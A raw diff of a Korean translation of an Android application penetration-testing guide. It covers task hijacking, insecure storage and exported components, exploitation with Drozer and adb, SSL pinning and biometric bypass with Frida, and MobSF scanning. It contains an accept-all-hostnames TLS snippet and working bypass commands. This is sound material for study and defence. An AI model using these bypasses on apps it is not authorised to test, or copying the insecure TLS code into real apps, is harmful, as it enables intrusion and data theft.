**`launchMode`**가 **`singleTask`**로 설정되고 **`taskAffinity`**가 정의되지 않은 **활동**은 작업 탈취에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 탈취할 수 있음을 의미합니다**(따라서 사용자는 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**).
|
||||
**`launchMode`**가 **`singleTask`**로 설정되고 **`taskAffinity`**가 정의되지 않은 **활동**은 작업 탈취에 취약합니다. 이는 **애플리케이션**이 설치될 수 있으며, 실제 애플리케이션보다 먼저 실행되면 **실제 애플리케이션의 작업을 탈취할 수 있습니다**(즉, 사용자가 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**).
|
||||
|
||||
자세한 내용은 다음에서 확인하세요:
|
||||
|
||||
@ -112,12 +112,12 @@ android-task-hijacking.md
|
||||
|
||||
**내부 저장소**
|
||||
|
||||
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되었습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 **다른 애플리케이션**(잠재적으로 악의적인 애플리케이션 포함)에서 이러한 파일에 대한 접근을 **제한하지 않습니다**.
|
||||
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되었습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자는 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 **다른 애플리케이션**(악의적인 애플리케이션 포함)에서 이러한 파일에 대한 접근을 **제한하지 않습니다**.
|
||||
|
||||
1. **정적 분석:**
|
||||
- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**으로 파일을 **노출시킬 수 있습니다**.
|
||||
- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**에 파일을 노출할 수 있습니다.
|
||||
2. **동적 분석:**
|
||||
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**합니다. 특히, **전 세계적으로 읽거나 쓸 수 있도록 설정된 파일이 있는지 확인**합니다. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
|
||||
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**합니다. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지** 확인합니다. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
|
||||
|
||||
**외부 저장소**
|
||||
|
||||
@ -133,7 +133,7 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
|
||||
- 외부 저장소에 실행 파일이나 클래스 파일을 저장하여 동적으로 로드하는 것은 강력히 권장되지 않습니다.
|
||||
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**된 후 동적으로 로드되도록 해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
|
||||
|
||||
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 **접근할 수 있습니다**.
|
||||
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 **접근**할 수 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> Android 4.4(**API 17**)부터 SD 카드에는 **앱에 특정한 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻는 것을 방지합니다.
|
||||
@ -147,7 +147,7 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
|
||||
|
||||
**모든 인증서 수락**
|
||||
|
||||
어떤 이유로 개발자들이 호스트 이름이 코드의 다음 줄과 일치하지 않더라도 모든 인증서를 수락하는 경우가 있습니다:
|
||||
어떤 이유로 개발자는 때때로 호스트 이름이 다음과 같은 코드 줄과 일치하지 않더라도 모든 인증서를 수락합니다:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -162,7 +162,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
|
||||
**Use of Insecure and/or Deprecated Algorithms**
|
||||
|
||||
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시의 브루트 포스 **저항성**을 높여야 합니다.
|
||||
개발자는 **deprecated algorithms**를 사용하여 **checks**를 수행하거나 **store** 또는 **send** 데이터를 전송해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **hashes**를 사용하여 비밀번호를 저장하는 경우, salt와 함께 brute-force **resistant** 해시를 사용해야 합니다.
|
||||
|
||||
### Other checks
|
||||
|
||||
@ -170,7 +170,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
- 앱이 민감한 경우(예: 은행 앱) **모바일이 루팅되었는지 확인하는 자체 검사를 수행**하고 그에 따라 행동해야 합니다.
|
||||
- 앱이 민감한 경우(예: 은행 앱) **에뮬레이터**가 사용되고 있는지 확인해야 합니다.
|
||||
- 앱이 민감한 경우(예: 은행 앱) **실행하기 전에 자체 무결성을 확인**하여 수정되었는지 확인해야 합니다.
|
||||
- [**APKiD**](https://github.com/rednaga/APKiD)를 사용하여 APK를 빌드하는 데 사용된 컴파일러/패커/난독화 도구를 확인하세요.
|
||||
- [**APKiD**](https://github.com/rednaga/APKiD)를 사용하여 APK를 빌드하는 데 사용된 컴파일러/팩커/난독화 도구를 확인하세요.
|
||||
|
||||
### React Native Application
|
||||
|
||||
@ -279,11 +279,11 @@ You need to activate the **debugging** options and it will be cool if you can **
|
||||
|
||||
**Logging**
|
||||
|
||||
개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 권장합니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다.
|
||||
개발자는 **debugging information**을 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다.
|
||||
|
||||
> [!WARNING]
|
||||
> **Android 4.0** 이후 버전에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\
|
||||
> 어쨌든, **민감한 정보를 로그에 남기지 않는 것이 여전히 권장됩니다**.
|
||||
> 어쨌든, **민감한 정보를 로그로 남기지 않는 것이 여전히 권장됩니다**.
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
@ -291,40 +291,40 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 남기지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다.
|
||||
애플리케이션이 **crash**하고 **logs**를 저장하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해, 크래시 시 로그를 남기지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다.
|
||||
|
||||
펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**.
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해 **애플리케이션의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다.
|
||||
애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해, **애플리케이션의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\
|
||||
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다.
|
||||
|
||||
데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 찾을 수 있다면 여전히 **취약점**입니다.
|
||||
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 찾을 수 있다면 여전히 **취약점**입니다.
|
||||
|
||||
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
|
||||
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자**를 **악용**하는 데 유용한 도구입니다.
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정**하고 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
|
||||
Drozer는 **exported activities, exported services 및 Content Providers**를 **exploit**하는 데 유용한 도구입니다.
|
||||
|
||||
### Exploiting exported Activities
|
||||
|
||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
또한 활동의 코드는 **`onCreate`** 메서드에서 시작된다는 점을 기억하세요.
|
||||
또한 액티비티의 코드는 **`onCreate`** 메서드에서 시작된다는 것을 기억하세요.
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
활동이 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 **내보내진** 활동이 있는 경우 **인증** 메커니즘을 **우회**하여 접근할 수 있습니다.
|
||||
액티비티가 export되면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 **exported**된 액티비티가 있는 경우 **인증** 메커니즘을 **우회**하여 접근할 수 있습니다.
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
adb에서 내보낸 활동을 시작할 수도 있습니다:
|
||||
adb에서 export된 액티비티를 시작할 수도 있습니다:
|
||||
|
||||
- PackageName은 com.example.demo입니다.
|
||||
- Exported ActivityName은 com.example.test.MainActivity입니다.
|
||||
@ -342,12 +342,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하게 만들 수 있습니다**. [**Tapjacking이 무엇인지에 대한 더 많은 정보는 링크를 따라가세요**](#tapjacking).
|
||||
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하도록 만들 수 있습니다**. [**Tapjacking이 무엇인지에 대한 더 많은 정보는 링크를 따라가세요**](#tapjacking).
|
||||
|
||||
### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작
|
||||
|
||||
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#content-provider)\
|
||||
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
|
||||
콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
|
||||
|
||||
[**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -356,7 +356,7 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **
|
||||
[**서비스가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#services)\
|
||||
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 점을 기억하세요.
|
||||
|
||||
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출하기 위해 동적으로** **테스트**해야 합니다, 인증 수단을 우회하는 등의 작업을...\
|
||||
서비스는 기본적으로 **데이터를 수신하고**, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**할 수 있는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출하기 위해 동적으로** **테스트**해야 합니다, 인증 수단을 우회하는 등의 작업을 위해...\
|
||||
[**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **브로드캐스트 수신기 악용**
|
||||
@ -369,7 +369,7 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **
|
||||
|
||||
### **스킴 / 딥 링크 악용**
|
||||
|
||||
MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
|
||||
MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)와 같은 스크립트를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
|
||||
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수 있습니다**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
@ -404,7 +404,7 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 해당 링크를
|
||||
|
||||
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다.** 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 것이 일반적입니다.
|
||||
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다.** 안전하지 않은 암호 모음을 사용하는 경우가 있습니다. 이 취약점은 연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
|
||||
- **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티로부터 가로채는 것으로부터 보호하지 못합니다.
|
||||
- **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다.
|
||||
|
||||
#### 인증서 검증
|
||||
|
||||
@ -420,7 +420,7 @@ HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해
|
||||
|
||||
**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성을 수정하는 방법에 대한 지침은 [**이 튜토리얼**](make-apk-accept-ca-certificate.md)을 참조하세요.
|
||||
|
||||
**Flutter**를 사용하는 경우 [**이 페이지**](flutter.md)의 지침을 따라야 합니다. Flutter는 자체 유효한 CA 목록을 가지고 있기 때문에 인증서를 저장소에 추가하는 것만으로는 작동하지 않습니다.
|
||||
**Flutter**를 사용하는 경우 [**이 페이지**](flutter.md)의 지침을 따라야 합니다. 이는 인증서를 저장소에 추가하는 것만으로는 작동하지 않기 때문입니다. Flutter는 자체 유효한 CA 목록을 가지고 있습니다.
|
||||
|
||||
#### SSL 핀닝 우회
|
||||
|
||||
@ -467,7 +467,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Keystore의 민감한 데이터**
|
||||
|
||||
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** pentests는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
|
||||
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 루트 사용자로서 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있는지 확인해야 합니다.
|
||||
|
||||
앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다.
|
||||
|
||||
@ -477,7 +477,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **지문/생체 인식 우회**
|
||||
|
||||
다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있으며, Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:**
|
||||
다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있습니다. Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
@ -499,7 +499,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
### 인텐트 주입
|
||||
|
||||
개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 활동, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다.
|
||||
개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 액티비티, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다.
|
||||
|
||||
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있는 경우입니다.
|
||||
|
||||
@ -536,7 +536,7 @@ docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
MobSF는 **Android**(apk)**, IOS**(ipa) **및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_).\
|
||||
또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다.
|
||||
또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 가서 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다.
|
||||
|
||||
MobSF는 **diff/Compare** 분석을 허용하고 **VirusTotal**와 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
|
||||
|
||||
@ -549,14 +549,14 @@ MobSF는 **diff/Compare** 분석을 허용하고 **VirusTotal**와 통합할 수
|
||||
- **HTTPS 트래픽 캡처**
|
||||
- **Frida**를 사용하여 **런타임** **정보**를 얻기
|
||||
|
||||
Android **버전 > 5**에서는 **Frida**를 **자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다.
|
||||
Android **버전 > 5**에서는 **Frida**를 **자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다.
|
||||
|
||||
**Frida**
|
||||
|
||||
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 **우회**하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\
|
||||
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\
|
||||
MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 **캡처**하여 보고서에 **저장**할 수 있습니다.
|
||||
|
||||
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에 의해 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환된 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
|
||||
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에 의해 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
|
||||
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다).
|
||||
|
||||
.png>)
|
||||
@ -585,13 +585,13 @@ receivers
|
||||
```
|
||||
**HTTP 도구**
|
||||
|
||||
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 또는 "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\
|
||||
이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 Burp 또는 Owasp ZAP과 같은 **프록시**로 **전송**할 수 있습니다.\
|
||||
이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르세요 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다.
|
||||
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아보세요.
|
||||
|
||||
> [!TIP]
|
||||
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
|
||||
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 이를 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -604,13 +604,13 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
이것은 **GUI를 사용한 정적 분석을 수행하기 위한 훌륭한 도구**입니다.
|
||||
이것은 **GUI를 사용한 정적 분석을 수행하기 위한 훌륭한 도구입니다.**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
|
||||
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 취약점(노출된 활동, 인텐트, 탭재킹 등)을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다. Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -619,10 +619,10 @@ qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- 쉽게 참조할 수 있도록 모든 추출된 파일을 표시합니다.
|
||||
- APK 파일을 Java 및 Smali 형식으로 자동으로 디컴파일합니다.
|
||||
- 일반적인 취약점 및 동작을 위해 AndroidManifest.xml을 분석합니다.
|
||||
- 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석.
|
||||
- 모든 추출된 파일을 쉽게 참조할 수 있도록 표시
|
||||
